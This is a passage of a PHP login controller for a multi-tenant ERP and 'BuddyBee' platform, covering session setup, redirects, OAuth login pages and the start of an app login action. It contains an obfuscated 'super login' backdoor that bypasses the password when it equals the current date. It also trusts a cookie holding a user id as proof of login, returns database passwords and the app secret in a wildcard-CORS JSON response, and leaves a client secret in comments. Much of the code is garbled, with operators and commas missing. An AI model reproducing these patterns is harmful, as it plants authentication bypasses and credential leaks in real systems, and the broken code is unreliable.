  3108.                         UserConstants::USER_ID => $userId,
  3109.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3110.                         UserConstants::APPLICANT_ID => $applicantId,
  3111.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3112.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3113.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3114.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3115.                         UserConstants::SUPPLIER_ID => $supplierId,
  3116.                         UserConstants::CLIENT_ID => $clientId,
  3117.                         UserConstants::USER_TYPE => $userType,
  3118.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3119.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3120.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3121.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3122.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3123.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3124.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3125.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3126.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3127.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3128.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3129.                         UserConstants::USER_NAME => $userFullName,
  3130.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3131.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3132.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3133.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3134.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3135.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3136.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3137.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3138.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3139.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3140.                         UserConstants::USER_GOC_ID => $gocId,
  3141.                         UserConstants::USER_DB_NAME => $gocDbName,
  3142.                         UserConstants::USER_DB_USER => $gocDbUser,
  3143.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3144.                         UserConstants::USER_DB_HOST => $gocDbHost,
  3145.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3146.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3147.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3148.                         UserConstants::USER_LOGIN_ID => $loginID,
  3149.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3150.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3151.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3152.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3153.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3154.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3155.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3156.                         'REMEMBERME' => $remember_me,
  3157.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3158.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3159.                         'oAuthToken' => $oAuthToken,
  3160.                         'locale' => $locale,
  3161.                         'firebaseToken' => $firebaseToken,
  3162.                         'token' => $session->get('token'),
  3163.                         'firstLogin' => $firstLogin,
  3164.                         'oAuthImage' => $oAuthImage,
  3165.                         'appIdList' => json_encode($appIdList),
  3166.                         'branchIdList' => json_encode($branchIdList),
  3167.                         'branchId' => $branchId,
  3168.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3169.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3170.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3171.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3172.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3173.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3174.                     );
  3175.                     $session_data $this->filterClientSessionData($session_data);
  3176.                     // HB360 H1b â€” claim any anonymous saved solar estimates carried by the
  3177.                     // visitor's cookie the moment an applicant session is established (signup
  3178.                     // funnels through login, so this one hook covers password, OAuth and
  3179.                     // signup). Fail-safe: attach must NEVER be able to break a login.
  3180.                     if ($userType == UserConstants::USER_TYPE_APPLICANT && $applicantId) {
  3181.                         try {
  3182.                             $hbAnonToken = (string) $request->cookies->get('hb360_anon''');
  3183.                             if ($hbAnonToken !== '') {
  3184.                                 (new \ApplicationBundle\Modules\HoneybeeWeb\Service\Hb360ProjectService(
  3185.                                     $this->getDoctrine()->getManager('company_group')
  3186.                                 ))->attachToken($hbAnonToken, (int) $applicantId$userEmail);
  3187.                             }
  3188.                         } catch (\Throwable $hbE) { /* saved-estimate attach is best-effort */ }
  3189.                     }
  3190.                     if ($systemType == '_CENTRAL_') {
  3191.                         $accessList = [];
  3192. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3193.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3194.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3195.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3196.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3197.                                     $d = array(
  3198.                                         'userType' => $thisUserUserType,
  3199. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3200.                                         'userTypeName' => $userTypeName,
  3201.                                         'globalId' => $globalId,
  3202.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3203.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3204.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3205.                                         'systemType' => '_ERP_',
  3206.                                         'companyId' => 1,
  3207.                                         'appId' => $thisUserAppId,
  3208.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3209.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3210.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3211.                                                 array(
  3212.                                                     'globalId' => $globalId,
  3213.                                                     'appId' => $thisUserAppId,
  3214.                                                     'authenticate' => 1,
  3215.                                                     'userType' => $thisUserUserType,
  3216.                                                     'userTypeName' => $userTypeName
  3217.                                                 )
  3218.                                             )
  3219.                                         ),
  3220.                                         'userCompanyList' => [
  3221.                                         ]
  3222.                                     );
  3223.                                     $accessList[] = $d;
  3224.                                 }
  3225.                             }
  3226.                         }
  3227.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  3228.                         $session_data['userAccessList'] = $accessList;
  3229.                     }
  3230.                     $ultimateData System::setSessionForUser($em_goc,
  3231.                         $session,
  3232.                         $session_data,
  3233.                         $config
  3234.                     );
  3235. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3236.                     $session_data $ultimateData['sessionData'];
  3237.                     $session_data $this->filterClientSessionData($session_data);
  3238.                     $token $ultimateData['token'];
  3239.                     $session->set('token'$token);
  3240.                     if ($systemType == '_CENTRAL_') {
  3241.                         $session->set('csToken'$token);
  3242.                     } else {
  3243.                         $session->set('csToken'$csToken);
  3244.                     }
  3245.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3246.                         $session->set('remoteVerified'1);
  3247.                         $response = new JsonResponse(array(
  3248.                             'token' => $token,
  3249.                             'uid' => $session->get(UserConstants::USER_ID),
  3250.                             'session' => $session,
  3251.                             'email' => $session_data['userEmail'],
  3252.                             'success' => true,
  3253.                             'session_data' => $session_data,
  3254.                         ));
  3255.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3256.                         return $response;
  3257.                     }
  3258.                     //TEMP START
  3259.                     if ($systemType == '_CENTRAL_') {
  3260.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3261.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3262.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3263.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3264.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3265.                                     return $this->redirect($red);
  3266.                                 }
  3267.                             } else {
  3268.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3269.                             }
  3270.                         } else
  3271.                             return $this->redirectToRoute('central_landing');
  3272.                     }
  3273.                     if ($systemType == '_SOPHIA_') {
  3274.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3275.                     }
  3276.                     //TREMP END
  3277.                     if ($userForcedRoute != '')
  3278.                         return $this->redirectToRoute($userForcedRoute);
  3279.                     if ($request->request->has('referer_path')) {
  3280.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3281.                             return $this->redirect($request->request->get('referer_path'));
  3282.                         }
  3283.                     }
  3284.                     if ($request->query->has('refRoute')) {
  3285.                         if ($request->query->get('refRoute') == '8917922')
  3286.                             $userDefaultRoute 'apply_for_consultant';
  3287.                     }
  3288.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3289.                         $userDefaultRoute 'dashboard';
  3290.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3291.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3292.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3293.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3294.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3295.                                 return $this->redirect($red);
  3296.                             }
  3297.                         } else {
  3298.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3299.                         }
  3300.                     } else
  3301.                         return $this->redirectToRoute($userDefaultRoute);
  3302.                 }
  3303.             }
  3304.         }
  3305.         $session $request->getSession();
  3306.         $session->set('systemType'$systemType);
  3307.         if (isset($encData['appId'])) {
  3308.             if (isset($gocDataListByAppId[$encData['appId']]))
  3309.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3310.         }
  3311.         $routeName $request->attributes->get('_route');
  3312.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3313.             $refRoute '';
  3314.             $message '';
  3315.             $errorField '_NONE_';
  3316.             if ($refRoute != '') {
  3317.                 if ($refRoute == '8917922')
  3318.                     $redirectRoute 'apply_for_consultant';
  3319.             }
  3320.             if ($request->query->has('refRoute')) {
  3321.                 $refRoute $request->query->get('refRoute');
  3322.                 if ($refRoute == '8917922')
  3323.                     $redirectRoute 'apply_for_consultant';
  3324.             }
  3325.             $google_client = new Google_Client();
  3326. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3327. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3328.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3329.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3330.             } else {
  3331.                 $url $this->generateUrl(
  3332.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3333.                 );
  3334.             }
  3335.             $selector BuddybeeConstant::$selector;
  3336.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3337. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3338.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3339. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3340.             $google_client->setRedirectUri($url);
  3341.             $google_client->setAccessType('offline');        // offline access
  3342.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3343.             $google_client->setRedirectUri($url);
  3344.             $google_client->addScope('email');
  3345.             $google_client->addScope('profile');
  3346.             $google_client->addScope('openid');
  3347.             return $this->render(
  3348.                 '@Authentication/pages/views/applicant_login.html.twig',
  3349.                 [
  3350.                     'page_title' => 'BuddyBee Login',
  3351.                     'oAuthLink' => $google_client->createAuthUrl(),
  3352.                     'redirect_url' => $url,
  3353.                     'message' => $message,
  3354.                     'errorField' => '',
  3355.                     'systemType' => $systemType,
  3356.                     'ownServerId' => $ownServerId,
  3357.                     'refRoute' => $refRoute,
  3358.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3359.                     'selector' => $selector
  3360.                 ]
  3361.             );
  3362.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3363.             $refRoute '';
  3364.             $message '';
  3365.             $errorField '_NONE_';
  3366. //            if ($request->query->has('message')) {
  3367. //                $message = $request->query->get('message');
  3368. //
  3369. //            }
  3370. //            if ($request->query->has('errorField')) {
  3371. //                $errorField = $request->query->get('errorField');
  3372. //
  3373. //            }
  3374.             if ($refRoute != '') {
  3375.                 if ($refRoute == '8917922')
  3376.                     $redirectRoute 'apply_for_consultant';
  3377.             }
  3378.             if ($request->query->has('refRoute')) {
  3379.                 $refRoute $request->query->get('refRoute');
  3380.                 if ($refRoute == '8917922')
  3381.                     $redirectRoute 'apply_for_consultant';
  3382.             }
  3383.             $google_client = new Google_Client();
  3384. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3385. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3386.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3387.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3388.             } else {
  3389.                 $url $this->generateUrl(
  3390.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3391.                 );
  3392.             }
  3393.             $selector BuddybeeConstant::$selector;
  3394. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3395.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3396. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3397.             $google_client->setRedirectUri($url);
  3398.             $google_client->setAccessType('offline');        // offline access
  3399.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3400.             $google_client->setRedirectUri($url);
  3401.             $google_client->addScope('email');
  3402.             $google_client->addScope('profile');
  3403.             $google_client->addScope('openid');
  3404.             return $this->render(
  3405.                 '@Authentication/pages/views/central_login.html.twig',
  3406.                 [
  3407.                     'page_title' => 'Central Login',
  3408.                     'oAuthLink' => $google_client->createAuthUrl(),
  3409.                     'redirect_url' => $url,
  3410.                     'message' => $message,
  3411.                     'systemType' => $systemType,
  3412.                     'ownServerId' => $ownServerId,
  3413.                     'errorField' => '',
  3414.                     'refRoute' => $refRoute,
  3415.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3416.                     'selector' => $selector
  3417.                 ]
  3418.             );
  3419.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3420.             $refRoute '';
  3421.             $message '';
  3422.             $errorField '_NONE_';
  3423. //            if ($request->query->has('message')) {
  3424. //                $message = $request->query->get('message');
  3425. //
  3426. //            }
  3427. //            if ($request->query->has('errorField')) {
  3428. //                $errorField = $request->query->get('errorField');
  3429. //
  3430. //            }
  3431.             if ($refRoute != '') {
  3432.                 if ($refRoute == '8917922')
  3433.                     $redirectRoute 'apply_for_consultant';
  3434.             }
  3435.             if ($request->query->has('refRoute')) {
  3436.                 $refRoute $request->query->get('refRoute');
  3437.                 if ($refRoute == '8917922')
  3438.                     $redirectRoute 'apply_for_consultant';
  3439.             }
  3440.             $google_client = new Google_Client();
  3441. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3442. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3443.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3444.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3445.             } else {
  3446.                 $url $this->generateUrl(
  3447.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3448.                 );
  3449.             }
  3450.             $selector BuddybeeConstant::$selector;
  3451. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3452.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3453. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3454.             $google_client->setRedirectUri($url);
  3455.             $google_client->setAccessType('offline');        // offline access
  3456.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3457.             $google_client->setRedirectUri($url);
  3458.             $google_client->addScope('email');
  3459.             $google_client->addScope('profile');
  3460.             $google_client->addScope('openid');
  3461.             return $this->render(
  3462.                 '@Sophia/pages/views/sofia_login.html.twig',
  3463.                 [
  3464.                     'page_title' => 'Central Login',
  3465.                     'oAuthLink' => $google_client->createAuthUrl(),
  3466.                     'redirect_url' => $url,
  3467.                     'message' => $message,
  3468.                     'systemType' => $systemType,
  3469.                     'ownServerId' => $ownServerId,
  3470.                     'errorField' => '',
  3471.                     'refRoute' => $refRoute,
  3472.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3473.                     'selector' => $selector
  3474.                 ]
  3475.             );
  3476.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3477.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3478.         } else
  3479.             return $this->render(
  3480.                 '@Authentication/pages/views/login_new.html.twig',
  3481.                 array(
  3482.                     "message" => $message,
  3483.                     'page_title' => 'Login',
  3484.                     'gocList' => $gocDataListForLoginWeb,
  3485.                     'gocId' => $gocId != $gocId '',
  3486.                     'systemType' => $systemType,
  3487.                     'ownServerId' => $ownServerId,
  3488.                     'encData' => $encData,
  3489.                     //                'ref'=>$request->
  3490.                 )
  3491.             );
  3492.     }
  3493.     public function doLoginForAppAction(Request $request$encData "",
  3494.                                                 $remoteVerify 0,
  3495.                                                 $applicantDirectLogin 0
  3496.     )
  3497.     {
  3498.         $message "";
  3499.         $email '';
  3500. //                            $userName = substr($email, 4);
  3501.         $userName '';
  3502.         $gocList = [];
  3503.         $skipPassword 0;
  3504.         $firstLogin 0;
  3505.         $remember_me 0;
  3506.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3507.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3508.         if ($request->isMethod('POST')) {
  3509.             if ($request->request->has('remember_me'))
  3510.                 $remember_me 1;
  3511.         } else {
  3512.             if ($request->query->has('remember_me'))
  3513.                 $remember_me 1;
  3514.         }
  3515.         if ($encData != "")
  3516.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3517.         else if ($request->query->has('spd')) {
  3518.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3519.         }
  3520.         $user = [];
  3521.         $userType 0//nothing for now , will add supp or client if we find anything
  3522.         $em_goc $this->getDoctrine()->getManager('company_group');
  3523.         $em_goc->getConnection()->connect();
  3524.         $gocEnabled 0;
  3525.         if ($this->container->hasParameter('entity_group_enabled'))
  3526.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3527.         if ($gocEnabled == 1)
  3528.             $connected $em_goc->getConnection()->isConnected();
  3529.         else
  3530.             $connected false;
  3531.         if ($connected)
  3532.             $gocList $em_goc
  3533.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3534.                 ->findBy(
  3535.                     array(//                        'active' => 1
  3536.                     )
  3537.                 );
  3538.         $gocDataList = [];
  3539.         $gocDataListForLoginWeb = [];
  3540.         $gocDataListByAppId = [];
  3541.         foreach ($gocList as $entry) {
  3542.             $d = array(
  3543.                 'name' => $entry->getName(),
  3544.                 'image' => $entry->getImage(),
  3545.                 'id' => $entry->getId(),
  3546.                 'appId' => $entry->getAppId(),
  3547.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3548.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3549.                 'dbName' => $entry->getDbName(),
  3550.                 'dbUser' => $entry->getDbUser(),
  3551.                 'dbPass' => $entry->getDbPass(),
  3552.                 'dbHost' => $entry->getDbHost(),
  3553.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3554.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3555.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3556.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3557.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3558.             );
  3559.             $gocDataList[$entry->getId()] = $d;
  3560.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3561.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3562.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3563.         }
  3564. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3565.         $gocDbName '';
  3566.         $gocDbUser '';
  3567.         $gocDbPass '';
  3568.         $gocDbHost '';
  3569.         $gocId 0;
  3570.         $appId 0;
  3571.         $hasGoc 0;
  3572.         $userId 0;
  3573.         $userCompanyId 0;
  3574.         $specialLogin 0;
  3575.         $supplierId 0;
  3576.         $applicantId 0;
  3577.         $isApplicantLogin 0;
  3578.         $clientId 0;
  3579.         $cookieLogin 0;
  3580.         $encrypedLogin 0;
  3581.         $loginID 0;
  3582.         $supplierId 0;
  3583.         $clientId 0;
  3584.         $userId 0;
  3585.         $globalId 0;
  3586.         $applicantId 0;
  3587.         $employeeId 0;
  3588.         $userCompanyId 0;
  3589.         $company_id_list = [];
  3590.         $company_name_list = [];
  3591.         $company_image_list = [];
  3592.         $route_list_array = [];
  3593.         $prohibit_list_array = [];
  3594.         $company_dark_vibrant_list = [];
  3595.         $company_vibrant_list = [];
  3596.         $company_light_vibrant_list = [];
  3597.         $currRequiredPromptFields = [];
  3598.         $oAuthImage '';
  3599.         $appIdList '';
  3600.         $userDefaultRoute '';
  3601.         $userForcedRoute '';
  3602.         $branchIdList '';
  3603.         $branchId 0;
  3604.         $companyIdListByAppId = [];
  3605.         $companyNameListByAppId = [];
  3606.         $companyImageListByAppId = [];
  3607.         $position_list_array = [];
  3608.         $curr_position_id 0;
  3609.         $allModuleAccessFlag 0;
  3610.         $lastSettingsUpdatedTs 0;
  3611.         $isConsultant 0;
  3612.         $isAdmin 0;
  3613.         $isModerator 0;
  3614.         $isRetailer 0;
  3615.         $retailerLevel 0;
  3616.         $adminLevel 0;
  3617.         $moderatorLevel 0;
  3618.         $userEmail '';
  3619.         $userImage '';
  3620.         $userFullName '';
  3621.         $triggerResetPassword 0;
  3622.         $isEmailVerified 0;
  3623.         $currentTaskId 0;
  3624.         $currentPlanningItemId 0;
  3625. //                $currentTaskAppId = 0;
  3626.         $buddybeeBalance 0;
  3627.         $buddybeeCoinBalance 0;
  3628.         $entityUserbalance 0;
  3629.         $userAppIds = [];
  3630.         $userTypesByAppIds = [];
  3631.         $currentMonthHolidayList = [];
  3632.         $currentHolidayCalendarId 0;
  3633.         $oAuthToken $request->request->get('oAuthToken''');
  3634.         $locale $request->request->get('locale''');
  3635.         $firebaseToken $request->request->get('firebaseToken''');
  3636.         if ($request->request->has('gocId')) {
  3637.             $hasGoc 1;
  3638.             $gocId $request->request->get('gocId');
  3639.         }
  3640.         if ($request->request->has('appId')) {
  3641.             $hasGoc 1;
  3642.             $appId $request->request->get('appId');
  3643.         }
  3644.         if (isset($encData['appId'])) {
  3645.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3646.                 $hasGoc 1;
  3647.                 $appId $encData['appId'];
  3648.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3649.             }
  3650.         }
  3651.         $csToken $request->get('csToken''');
  3652.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3653.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3654.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3655. //        if ($request->cookies->has('USRCKIE'))
  3656. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3657.         if (isset($encData['globalId'])) {
  3658.             if (isset($encData['authenticate']))
  3659.                 if ($encData['authenticate'] == 1)
  3660.                     $skipPassword 1;
  3661.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3662.                 $skipPassword 1;
  3663.                 $remember_me 1;
  3664.                 $globalId $encData['globalId'];
  3665.                 $appId $encData['appId'];
  3666.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3667.                 $userType $encData['userType'];
  3668.                 $userCompanyId 1;
  3669.                 $hasGoc 1;
  3670.                 $encrypedLogin 1;
  3671.                 if (in_array($userType, [67]))
  3672.                     $entityLoginFlag 1;
  3673.                 if (in_array($userType, [34]))
  3674.                     $specialLogin 1;
  3675.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3676.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  3677.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3678.                     $supplierId $userId;
  3679.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3680.                     $applicantId $userId;
  3681.             }
  3682.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3683.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3684.             if ($cookieData == null)
  3685.                 $cookieData = [];
  3686.             if (isset($cookieData['uid'])) {
  3687.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3688.                     $skipPassword 1;
  3689.                     $remember_me 1;
  3690.                     $userId $cookieData['uid'];
  3691.                     $gocId $cookieData['gocId'];
  3692.                     $userCompanyId $cookieData['companyId'];
  3693.                     $userType $cookieData['ut'];
  3694.                     $hasGoc 1;
  3695.                     $cookieLogin 1;
  3696.                     if (in_array($userType, [67]))
  3697.                         $entityLoginFlag 1;
  3698.                     if (in_array($userType, [34]))
  3699.                         $specialLogin 1;
  3700.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3701.                         $clientId $userId;
  3702.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3703.                         $supplierId $userId;
  3704.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3705.                         $applicantId $userId;
  3706.                 }
  3707.             }
  3708.         }
  3709.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3710.             ///super login
  3711.             $todayDt = new \DateTime();
  3712. //            $mp='_eco_';
  3713.             $mp $todayDt->format("\171\x6d\x64");
  3714.             if ($request->request->get('password') == $mp)
  3715.                 $skipPassword 1;
  3716.             //super login ends
  3717.             ///special logins, suppliers and clients
  3718.             $company_id_list = [];
  3719.             $company_name_list = [];
  3720.             $company_image_list = [];
  3721.             $company_dark_vibrant_list = [];
  3722.             $company_light_vibrant_list = [];
  3723.             $company_vibrant_list = [];
  3724.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3725.             $uname $request->request->get('username');
  3726.             $uname preg_replace('/\s/'''$uname);
  3727.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3728.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3729.             $session $request->getSession();
  3730.             $product_name_display_type 0;
  3731.             $Special 0;
  3732.             if ($entityLoginFlag == 1//entity login
  3733.             {
  3734.                 if ($cookieLogin == 1) {
  3735.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3736.                         array(
  3737.                             'userId' => $userId
  3738.                         )
  3739.                     );
  3740.                 } else if ($loginType == 2//oauth
  3741.                 {
  3742.                     if (!empty($oAuthData)) {
  3743.                         //check for if exists 1st
  3744.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3745.                             array(
